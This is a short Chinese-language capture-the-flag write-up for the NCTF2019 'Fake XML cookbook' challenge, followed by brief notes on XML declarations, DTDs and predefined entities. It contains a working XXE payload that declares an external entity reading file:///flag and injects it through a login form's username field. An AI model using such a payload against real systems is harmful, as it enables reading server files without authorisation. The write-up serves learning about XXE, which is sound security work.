[NCTF2019]Fake XML cookbook-1|XXE漏洞|XXE資訊介紹

1、打開之後顯示如圖所示:

2、根據題目名字就能看出來和xml有關,和xml有關的那就是注入,brup抓包看下數據包,結果如下:

3、查看post數據,確實很像xml實體注入,那就進行嘗試以下,將post數據修改為下面的數據

<?xml version="1.0" ?>
<!DOCTYPE llw [
<!ENTITY file SYSTEM  "file:///flag">
]>
<user>
	<username>&file;</username>
	<password>1</password>
</user>

成功獲得flag值,結果如下:

xml資訊介紹:

xml:主要用於數據的傳輸,而非數據的展示。

xml中<?xml version=”1.0″ encoding=”UTF-8″ standalone=”yes”?>,用於聲明XML文檔的版本和編碼,是可選的,必須放在文檔開頭,其中standalone的值是yes的時候,表示外部實體被禁用,但默認是no。

dtd:主要用於xml文檔的格式規範,引入方式:內部引入:<!DOCTYPE 根元素名稱 [元素聲明]>,外部引入:<!DOCTYPE 根元素名稱 [元素聲明]>,使用外部的dtd文件(網路上的dtd文件):<!DOCTYPE 根元素 PUBLIC “DTD名稱” “DTD文檔的URL”>。

xml預定義的實體:用&lt; &gt; &amp; &apos; &quot; 替換 < > & ‘ “字元。

xml實體介紹如下:

參考文章://xz.aliyun.com/t/6887#toc-0